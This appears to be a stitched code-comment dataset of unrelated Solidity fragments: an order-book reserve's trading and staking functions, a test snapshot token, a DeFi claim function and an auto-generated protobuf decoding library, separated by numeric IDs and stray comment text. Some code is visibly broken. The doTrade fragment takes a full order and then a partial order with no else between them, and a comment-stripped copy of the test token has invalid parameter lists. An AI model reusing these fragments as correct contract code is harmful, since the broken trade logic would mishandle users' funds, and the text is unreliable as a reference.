fetchNewOrderId(isEthToToken[i] ? makerOrdersEthToToken[maker] : makerOrdersTokenToEth[maker]); require(addOrder(isEthToToken[i], newId, srcAmount[i], dstAmount[i], prevId)); } return true; } function updateTokenToEthOrder(uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount) public returns(bool) { require(updateTokenToEthOrderWHint(orderId, newSrcAmount, newDstAmount, 0)); return true; } function updateTokenToEthOrderWHint( uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder ) public returns(bool) { require(updateOrder(false, orderId, newSrcAmount, newDstAmount, hintPrevOrder)); return true; } function updateEthToTokenOrder(uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount) public returns(bool) { return updateEthToTokenOrderWHint(orderId, newSrcAmount, newDstAmount, 0); } function updateEthToTokenOrderWHint( uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder ) public returns(bool) { require(updateOrder(true, orderId, newSrcAmount, newDstAmount, hintPrevOrder)); return true; } function updateOrderBatch(bool[] isEthToToken, uint32[] orderId, uint128[] newSrcAmount, uint128[] newDstAmount, uint32[] hintPrevOrder) public returns(bool) { require(isEthToToken.length == orderId.length); require(isEthToToken.length == newSrcAmount.length); require(isEthToToken.length == newDstAmount.length); require(isEthToToken.length == hintPrevOrder.length); for (uint i = 0; i < isEthToToken.length; ++i) { require(updateOrder(isEthToToken[i], orderId[i], newSrcAmount[i], newDstAmount[i], hintPrevOrder[i])); } return true; } event TokenDeposited(address indexed maker, uint amount); function depositToken(address maker, uint amount) public { require(maker != address(0)); require(amount < MAX_QTY); require(contracts.token.transferFrom(msg.sender, this, amount)); makerFunds[maker][contracts.token] += amount; TokenDeposited(maker, amount); } event EtherDeposited(address indexed maker, uint amount); function depositEther(address maker) public payable { require(maker != address(0)); makerFunds[maker][ETH_TOKEN_ADDRESS] += msg.value; EtherDeposited(maker, msg.value); } event KncFeeDeposited(address indexed maker, uint amount); // knc will be staked per order. part of the amount will be used as fee. function depositKncForFee(address maker, uint amount) public { require(maker != address(0)); require(amount < MAX_QTY); require(contracts.kncToken.transferFrom(msg.sender, this, amount)); makerKnc[maker] += amount; KncFeeDeposited(maker, amount); if (orderAllocationRequired(makerOrdersTokenToEth[maker])) { require(allocateOrderIds( makerOrdersTokenToEth[maker], /* makerOrders */ tokenToEthList.allocateIds(uint32(NUM_ORDERS)) /* firstAllocatedId */ )); } if (orderAllocationRequired(makerOrdersEthToToken[maker])) { require(allocateOrderIds( makerOrdersEthToToken[maker], /* makerOrders */ ethToTokenList.allocateIds(uint32(NUM_ORDERS)) /* firstAllocatedId */ )); } } function withdrawToken(uint amount) public { address maker = msg.sender; uint makerFreeAmount = makerFunds[maker][contracts.token]; require(makerFreeAmount >= amount); makerFunds[maker][contracts.token] -= amount; require(contracts.token.transfer(maker, amount)); } function withdrawEther(uint amount) public { address maker = msg.sender; uint makerFreeAmount = makerFunds[maker][ETH_TOKEN_ADDRESS]; require(makerFreeAmount >= amount); makerFunds[maker][ETH_TOKEN_ADDRESS] -= amount; maker.transfer(amount); } function withdrawKncFee(uint amount) public { address maker = msg.sender; require(makerKnc[maker] >= amount); require(makerUnlockedKnc(maker) >= amount); makerKnc[maker] -= amount; require(contracts.kncToken.transfer(maker, amount)); } function cancelTokenToEthOrder(uint32 orderId) public returns(bool) { require(cancelOrder(false, orderId)); return true; } function cancelEthToTokenOrder(uint32 orderId) public returns(bool) { require(cancelOrder(true, orderId)); return true; } function setMinOrderSizeEth() public returns(bool) { //get eth to $ from maker dao; bytes32 usdPerEthInWei; bool valid; (usdPerEthInWei, valid) = contracts.medianizer.peek(); require(valid); // ensuring that there is no underflow or overflow possible, // even if the price is compromised uint usdPerEth = uint(usdPerEthInWei) / (1 ether); require(usdPerEth != 0); require(usdPerEth < MAX_USD_PER_ETH); // set Eth order limits according to price uint minNewOrderSizeWei = limits.minNewOrderSizeUsd * PRECISION * (1 ether) / uint(usdPerEthInWei); limits.minNewOrderSizeWei = minNewOrderSizeWei; limits.minOrderSizeWei = limits.minNewOrderSizeWei / MIN_REMAINING_ORDER_RATIO; return true; } ///@dev Each maker stakes per order KNC that is factor of the required burn amount. ///@dev If Knc per Eth rate becomes lower by more then factor, stake will not be enough and trade will be blocked. function kncRateBlocksTrade() public view returns (bool) { return (contracts.feeBurner.kncPerEthRatePrecision() > kncPerEthBaseRatePrecision * BURN_TO_STAKE_FACTOR); } function getTokenToEthAddOrderHint(uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(dstAmount >= limits.minNewOrderSizeWei); return tokenToEthList.findPrevOrderId(srcAmount, dstAmount); } function getEthToTokenAddOrderHint(uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(srcAmount >= limits.minNewOrderSizeWei); return ethToTokenList.findPrevOrderId(srcAmount, dstAmount); } function getTokenToEthUpdateOrderHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(dstAmount >= limits.minNewOrderSizeWei); uint32 prevId = tokenToEthList.findPrevOrderId(srcAmount, dstAmount); address add; uint128 noUse; uint32 next; if (prevId == orderId) { (add, noUse, noUse, prevId, next) = tokenToEthList.getOrderDetails(orderId); } return prevId; } function getEthToTokenUpdateOrderHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public view returns (uint32) { require(srcAmount >= limits.minNewOrderSizeWei); uint32 prevId = ethToTokenList.findPrevOrderId(srcAmount, dstAmount); address add; uint128 noUse; uint32 next; if (prevId == orderId) { (add, noUse, noUse, prevId, next) = ethToTokenList.getOrderDetails(orderId); } return prevId; } function getTokenToEthOrder(uint32 orderId) public view returns ( address _maker, uint128 _srcAmount, uint128 _dstAmount, uint32 _prevId, uint32 _nextId ) { return tokenToEthList.getOrderDetails(orderId); } function getEthToTokenOrder(uint32 orderId) public view returns ( address _maker, uint128 _srcAmount, uint128 _dstAmount, uint32 _prevId, uint32 _nextId ) { return ethToTokenList.getOrderDetails(orderId); } function makerRequiredKncStake(address maker) public view returns (uint) { return(calcKncStake(makerTotalOrdersWei[maker])); } function makerUnlockedKnc(address maker) public view returns (uint) { uint requiredKncStake = makerRequiredKncStake(maker); if (requiredKncStake > makerKnc[maker]) return 0; return (makerKnc[maker] - requiredKncStake); } function calcKncStake(uint weiAmount) public view returns(uint) { return(calcBurnAmount(weiAmount) * BURN_TO_STAKE_FACTOR); } function calcBurnAmount(uint weiAmount) public view returns(uint) { return(weiAmount * makerBurnFeeBps * kncPerEthBaseRatePrecision / (10000 * PRECISION)); } function calcBurnAmountFromFeeBurner(uint weiAmount) public view returns(uint) { return(weiAmount * makerBurnFeeBps * contracts.feeBurner.kncPerEthRatePrecision() / (10000 * PRECISION)); } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getEthToTokenMakerOrderIds(address maker) public view returns(uint32[] orderList) { OrderIdData storage makerOrders = makerOrdersEthToToken[maker]; orderList = new uint32[](getNumActiveOrderIds(makerOrders)); uint activeOrder = 0; for (uint32 i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i) > 0)) orderList[activeOrder++] = makerOrders.firstOrderId + i; } } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getTokenToEthMakerOrderIds(address maker) public view returns(uint32[] orderList) { OrderIdData storage makerOrders = makerOrdersTokenToEth[maker]; orderList = new uint32[](getNumActiveOrderIds(makerOrders)); uint activeOrder = 0; for (uint32 i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i) > 0)) orderList[activeOrder++] = makerOrders.firstOrderId + i; } } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getEthToTokenOrderList() public view returns(uint32[] orderList) { OrderListInterface list = ethToTokenList; return getList(list); } ///@dev This function is not fully optimized gas wise. Consider before calling on chain. function getTokenToEthOrderList() public view returns(uint32[] orderList) { OrderListInterface list = tokenToEthList; return getList(list); } event NewLimitOrder( address indexed maker, uint32 orderId, bool isEthToToken, uint128 srcAmount, uint128 dstAmount, bool addedWithHint ); function addOrder(bool isEthToToken, uint32 newId, uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) internal returns(bool) { require(srcAmount < MAX_QTY); require(dstAmount < MAX_QTY); address maker = msg.sender; require(secureAddOrderFunds(maker, isEthToToken, srcAmount, dstAmount)); require(validateLegalRate(srcAmount, dstAmount, isEthToToken)); bool addedWithHint = false; OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; if (hintPrevOrder != 0) { addedWithHint = list.addAfterId(maker, newId, srcAmount, dstAmount, hintPrevOrder); } if (!addedWithHint) { require(list.add(maker, newId, srcAmount, dstAmount)); } NewLimitOrder(maker, newId, isEthToToken, srcAmount, dstAmount, addedWithHint); return true; } event OrderUpdated( address indexed maker, bool isEthToToken, uint orderId, uint128 srcAmount, uint128 dstAmount, bool updatedWithHint ); function updateOrder(bool isEthToToken, uint32 orderId, uint128 newSrcAmount, uint128 newDstAmount, uint32 hintPrevOrder) internal returns(bool) { require(newSrcAmount < MAX_QTY); require(newDstAmount < MAX_QTY); address maker; uint128 currDstAmount; uint128 currSrcAmount; uint32 noUse; uint noUse2; require(validateLegalRate(newSrcAmount, newDstAmount, isEthToToken)); OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; (maker, currSrcAmount, currDstAmount, noUse, noUse) = list.getOrderDetails(orderId); require(maker == msg.sender); if (!secureUpdateOrderFunds(maker, isEthToToken, currSrcAmount, currDstAmount, newSrcAmount, newDstAmount)) { return false; } bool updatedWithHint = false; if (hintPrevOrder != 0) { (updatedWithHint, noUse2) = list.updateWithPositionHint(orderId, newSrcAmount, newDstAmount, hintPrevOrder); } if (!updatedWithHint) { require(list.update(orderId, newSrcAmount, newDstAmount)); } OrderUpdated(maker, isEthToToken, orderId, newSrcAmount, newDstAmount, updatedWithHint); return true; } event OrderCanceled(address indexed maker, bool isEthToToken, uint32 orderId, uint128 srcAmount, uint dstAmount); function cancelOrder(bool isEthToToken, uint32 orderId) internal returns(bool) { address maker = msg.sender; OrderListInterface list = isEthToToken ? ethToTokenList : tokenToEthList; OrderData memory orderData = getOrderData(list, orderId); require(orderData.maker == maker); uint weiAmount = isEthToToken ? orderData.srcAmount : orderData.dstAmount; require(releaseOrderStakes(maker, weiAmount, 0)); require(removeOrder(list, maker, isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token, orderId)); //funds go back to makers account makerFunds[maker][isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token] += orderData.srcAmount; OrderCanceled(maker, isEthToToken, orderId, orderData.srcAmount, orderData.dstAmount); return true; } ///@param maker is the maker of this order ///@param isEthToToken which order type the maker is updating / adding ///@param srcAmount is the orders src amount (token or ETH) could be negative if funds are released. function bindOrderFunds(address maker, bool isEthToToken, int srcAmount) internal returns(bool) { address fundsAddress = isEthToToken ? ETH_TOKEN_ADDRESS : contracts.token; if (srcAmount < 0) { makerFunds[maker][fundsAddress] += uint(-srcAmount); } else { require(makerFunds[maker][fundsAddress] >= uint(srcAmount)); makerFunds[maker][fundsAddress] -= uint(srcAmount); } return true; } ///@param maker is the maker address ///@param weiAmount is the wei amount inside order that should result in knc staking function bindOrderStakes(address maker, int weiAmount) internal returns(bool) { if (weiAmount < 0) { uint decreaseWeiAmount = uint(-weiAmount); if (decreaseWeiAmount > makerTotalOrdersWei[maker]) decreaseWeiAmount = makerTotalOrdersWei[maker]; makerTotalOrdersWei[maker] -= decreaseWeiAmount; return true; } require(makerKnc[maker] >= calcKncStake(makerTotalOrdersWei[maker] + uint(weiAmount))); makerTotalOrdersWei[maker] += uint(weiAmount); return true; } ///@dev if totalWeiAmount is 0 we only release stakes. ///@dev if totalWeiAmount == weiForBurn. all staked amount will be burned. so no knc returned to maker ///@param maker is the maker address ///@param totalWeiAmount is total wei amount that was released from order - including taken wei amount. ///@param weiForBurn is the part in order wei amount that was taken and should result in burning. function releaseOrderStakes(address maker, uint totalWeiAmount, uint weiForBurn) internal returns(bool) { require(weiForBurn <= totalWeiAmount); if (totalWeiAmount > makerTotalOrdersWei[maker]) { makerTotalOrdersWei[maker] = 0; } else { makerTotalOrdersWei[maker] -= totalWeiAmount; } if (weiForBurn == 0) return true; uint burnAmount = calcBurnAmountFromFeeBurner(weiForBurn); require(makerKnc[maker] >= burnAmount); makerKnc[maker] -= burnAmount; return true; } ///@dev funds are valid only when required knc amount can be staked for this order. function secureAddOrderFunds(address maker, bool isEthToToken, uint128 srcAmount, uint128 dstAmount) internal returns(bool) { uint weiAmount = isEthToToken ? srcAmount : dstAmount; require(weiAmount >= limits.minNewOrderSizeWei); require(bindOrderFunds(maker, isEthToToken, int(srcAmount))); require(bindOrderStakes(maker, int(weiAmount))); return true; } ///@dev funds are valid only when required knc amount can be staked for this order. function secureUpdateOrderFunds(address maker, bool isEthToToken, uint128 prevSrcAmount, uint128 prevDstAmount, uint128 newSrcAmount, uint128 newDstAmount) internal returns(bool) { uint weiAmount = isEthToToken ? newSrcAmount : newDstAmount; int weiDiff = isEthToToken ? (int(newSrcAmount) - int(prevSrcAmount)) : (int(newDstAmount) - int(prevDstAmount)); require(weiAmount >= limits.minNewOrderSizeWei); require(bindOrderFunds(maker, isEthToToken, int(newSrcAmount) - int(prevSrcAmount))); require(bindOrderStakes(maker, weiDiff)); return true; } event FullOrderTaken(address maker, uint32 orderId, bool isEthToToken); function takeFullOrder( address maker, uint32 orderId, ERC20 userSrc, ERC20 userDst, uint128 userSrcAmount, uint128 userDstAmount ) internal returns (bool) { OrderListInterface list = (userSrc == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; //userDst == maker source require(removeOrder(list, maker, userDst, orderId)); FullOrderTaken(maker, orderId, userSrc == ETH_TOKEN_ADDRESS); return takeOrder(maker, userSrc, userSrcAmount, userDstAmount, 0); } event PartialOrderTaken(address maker, uint32 orderId, bool isEthToToken, bool isRemoved); function takePartialOrder( address maker, uint32 orderId, ERC20 userSrc, ERC20 userDst, uint128 userPartialSrcAmount, uint128 userTakeDstAmount, uint128 orderSrcAmount, uint128 orderDstAmount ) internal returns(bool) { require(userPartialSrcAmount < orderDstAmount); require(userTakeDstAmount < orderSrcAmount); //must reuse parameters, otherwise stack too deep error. orderSrcAmount -= userTakeDstAmount; orderDstAmount -= userPartialSrcAmount; OrderListInterface list = (userSrc == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint weiValueNotReleasedFromOrder = (userSrc == ETH_TOKEN_ADDRESS) ? orderDstAmount : orderSrcAmount; uint additionalReleasedWei = 0; if (weiValueNotReleasedFromOrder < limits.minOrderSizeWei) { // remaining order amount too small. remove order and add remaining funds to free funds makerFunds[maker][userDst] += orderSrcAmount; additionalReleasedWei = weiValueNotReleasedFromOrder; //for remove order we give makerSrc == userDst require(removeOrder(list, maker, userDst, orderId)); } else { bool isSuccess; // update order values, taken order is always first order (isSuccess,) = list.updateWithPositionHint(orderId, orderSrcAmount, orderDstAmount, HEAD_ID); require(isSuccess); } PartialOrderTaken(maker, orderId, userSrc == ETH_TOKEN_ADDRESS, additionalReleasedWei > 0); //stakes are returned for unused wei value return(takeOrder(maker, userSrc, userPartialSrcAmount, userTakeDstAmount, additionalReleasedWei)); } function takeOrder( address maker, ERC20 userSrc, uint userSrcAmount, uint userDstAmount, uint additionalReleasedWei ) internal returns(bool) { uint weiAmount = userSrc == (ETH_TOKEN_ADDRESS) ? userSrcAmount : userDstAmount; //token / eth already collected. just update maker balance makerFunds[maker][userSrc] += userSrcAmount; // send dst tokens in one batch. not here //handle knc stakes and fee. releasedWeiValue was released and not traded. return releaseOrderStakes(maker, (weiAmount + additionalReleasedWei), weiAmount); } function removeOrder( OrderListInterface list, address maker, ERC20 makerSrc, uint32 orderId ) internal returns(bool) { require(list.remove(orderId)); OrderIdData storage orders = (makerSrc == ETH_TOKEN_ADDRESS) ? makerOrdersEthToToken[maker] : makerOrdersTokenToEth[maker]; require(releaseOrderId(orders, orderId)); return true; } function getList(OrderListInterface list) internal view returns(uint32[] memory orderList) { OrderData memory orderData; uint32 orderId; bool isEmpty; (orderId, isEmpty) = list.getFirstOrder(); if (isEmpty) return(new uint32[](0)); uint numOrders = 0; for (; !orderData.isLastOrder; orderId = orderData.nextId) { orderData = getOrderData(list, orderId); numOrders++; } orderList = new uint32[](numOrders); (orderId, orderData.isLastOrder) = list.getFirstOrder(); for (uint i = 0; i < numOrders; i++) { orderList[i] = orderId; orderData = getOrderData(list, orderId); orderId = orderData.nextId; } } function getOrderData(OrderListInterface list, uint32 orderId) internal view returns (OrderData data) { uint32 prevId; (data.maker, data.srcAmount, data.dstAmount, prevId, data.nextId) = list.getOrderDetails(orderId); data.isLastOrder = (data.nextId == TAIL_ID); } function validateLegalRate (uint srcAmount, uint dstAmount, bool isEthToToken) internal view returns(bool) { uint rate; /// notice, rate is calculated from taker perspective, /// for taker amounts are opposite. order srcAmount will be DstAmount for taker. if (isEthToToken) { rate = calcRateFromQty(dstAmount, srcAmount, getDecimals(contracts.token), ETH_DECIMALS); } else { rate = calcRateFromQty(dstAmount, srcAmount, ETH_DECIMALS, getDecimals(contracts.token)); } if (rate > MAX_RATE) return false; return true; } }
maker dst quantity is the requested quantity he wants to receive. user src quantity is what user gives. so user src quantity is matched with maker dst quantity
function doTrade( ERC20 srcToken, uint srcAmount, ERC20 dstToken ) internal returns(uint) { OrderListInterface list = (srcToken == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint32 orderId; OrderData memory orderData; uint128 userRemainingSrcQty = uint128(srcAmount); uint128 totalUserDstAmount = 0; for ( (orderId, orderData.isLastOrder) = list.getFirstOrder(); ((userRemainingSrcQty > 0) && (!orderData.isLastOrder)); orderId = orderData.nextId ) { orderData = getOrderData(list, orderId); if (orderData.dstAmount <= userRemainingSrcQty) { totalUserDstAmount += orderData.srcAmount; userRemainingSrcQty -= orderData.dstAmount; require(takeFullOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userSrcAmount: orderData.dstAmount, userDstAmount: orderData.srcAmount })); uint128 partialDstQty = uint128(uint(orderData.srcAmount) * uint(userRemainingSrcQty) / uint(orderData.dstAmount)); totalUserDstAmount += partialDstQty; require(takePartialOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userPartialSrcAmount: userRemainingSrcQty, userTakeDstAmount: partialDstQty, orderSrcAmount: orderData.srcAmount, orderDstAmount: orderData.dstAmount })); userRemainingSrcQty = 0; } } require(userRemainingSrcQty == 0 && totalUserDstAmount > 0); return totalUserDstAmount; }
1,205,975
pragma solidity 0.4.15; import '../Snapshot/DailyAndSnapshotable.sol'; import '../SnapshotToken/StandardSnapshotToken.sol'; contract TestSnapshotToken is DailyAndSnapshotable, StandardSnapshotToken { //////////////////////// // Mutable state //////////////////////// bool private _enableTransfers; bool private _enableApprovals; //////////////////////// // Constructor //////////////////////// function TestSnapshotToken( IClonedTokenParent parentToken, uint256 parentSnapshotId ) StandardSnapshotToken( parentToken, parentSnapshotId ) // continue snapshot series of the parent, also will prevent using incompatible scheme DailyAndSnapshotable(parentToken == address(0) ? 0 : parentToken.currentSnapshotId()) public { _enableTransfers = true; _enableApprovals = true; } //////////////////////// // Public functions //////////////////////// function deposit(uint256 amount) public { mGenerateTokens(msg.sender, amount); } function withdraw(uint256 amount) public { mDestroyTokens(msg.sender, amount); } function enableTransfers(bool enable) public { _enableTransfers = enable; } function enableApprovals(bool enable) public { _enableApprovals = enable; } //////////////////////// // Internal functions //////////////////////// // // Implements MTokenController // function mOnTransfer( address, address, // to uint256 // amount ) internal returns (bool allow) { return _enableTransfers; } function mOnApprove( address, address, // spender, uint256 // amount ) internal returns (bool allow) { return _enableApprovals; } }
Mutable state Constructor continue snapshot series of the parent, also will prevent using incompatible scheme
{ bool private _enableTransfers; bool private _enableApprovals; function TestSnapshotToken( IClonedTokenParent parentToken, uint256 parentSnapshotId ) StandardSnapshotToken( parentToken, parentSnapshotId ) DailyAndSnapshotable(parentToken == address(0) ? 0 : parentToken.currentSnapshotId()) public { _enableTransfers = true; _enableApprovals = true; } function deposit(uint256 amount) public { mGenerateTokens(msg.sender, amount); } function withdraw(uint256 amount) public { mDestroyTokens(msg.sender, amount); } function enableTransfers(bool enable) public { _enableTransfers = enable; } function enableApprovals(bool enable) public { _enableApprovals = enable; } function mOnTransfer( address, ) internal returns (bool allow) { return _enableTransfers; } function mOnApprove( address, ) internal returns (bool allow) { return _enableApprovals; } }
2,498,473
./partial_match/42/0xB40ea11f489300d0F4DCC9890Fc70b4444F003Eb/sources/DController.sol
Claim all the defi99+ accrued by holder in all markets holder The address to claim BRID+ for/
function claimDefi99Plus(address holder) public { return claimDefi99Plus(holder, allMarkets); }
3,428,495
pragma solidity 0.5.16; import "./ProtoBufRuntime.sol"; import "./IssuanceData.sol"; library BorrowingMakerParameters { //struct definition struct Data { address collateralTokenAddress; address borrowingTokenAddress; uint256 borrowingAmount; uint32 collateralRatio; uint32 tenorDays; uint32 interestRate; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[7] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_collateralTokenAddress(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_borrowingTokenAddress(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_borrowingAmount(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_collateralRatio(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_tenorDays(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_interestRate(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.collateralTokenAddress = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.borrowingTokenAddress = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingAmount( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.borrowingAmount = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralRatio( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint32 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint32(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.collateralRatio = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_tenorDays( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint32 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint32(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.tenorDays = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_interestRate( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint32 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint32(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.interestRate = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.collateralTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.borrowingTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.borrowingAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint32(r.collateralRatio, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint32(r.tenorDays, pointer, bs); pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint32(r.interestRate, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @return The number of bytes encoded in estimation */ function _estimate( Data memory /* r */ ) internal pure returns (uint) { uint256 e; e += 1 + 23; e += 1 + 23; e += 1 + 35; e += 1 + 7; e += 1 + 7; e += 1 + 7; return e; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.collateralTokenAddress = input.collateralTokenAddress; output.borrowingTokenAddress = input.borrowingTokenAddress; output.borrowingAmount = input.borrowingAmount; output.collateralRatio = input.collateralRatio; output.tenorDays = input.tenorDays; output.interestRate = input.interestRate; } //utility functions /** * @dev Return an empty struct * @return The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BorrowingMakerParameters library BorrowingProperties { //struct definition struct Data { address borrowingTokenAddress; address collateralTokenAddress; uint256 borrowingAmount; uint256 collateralRatio; uint256 collateralAmount; uint256 interestRate; uint256 interestAmount; uint256 tenorDays; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The 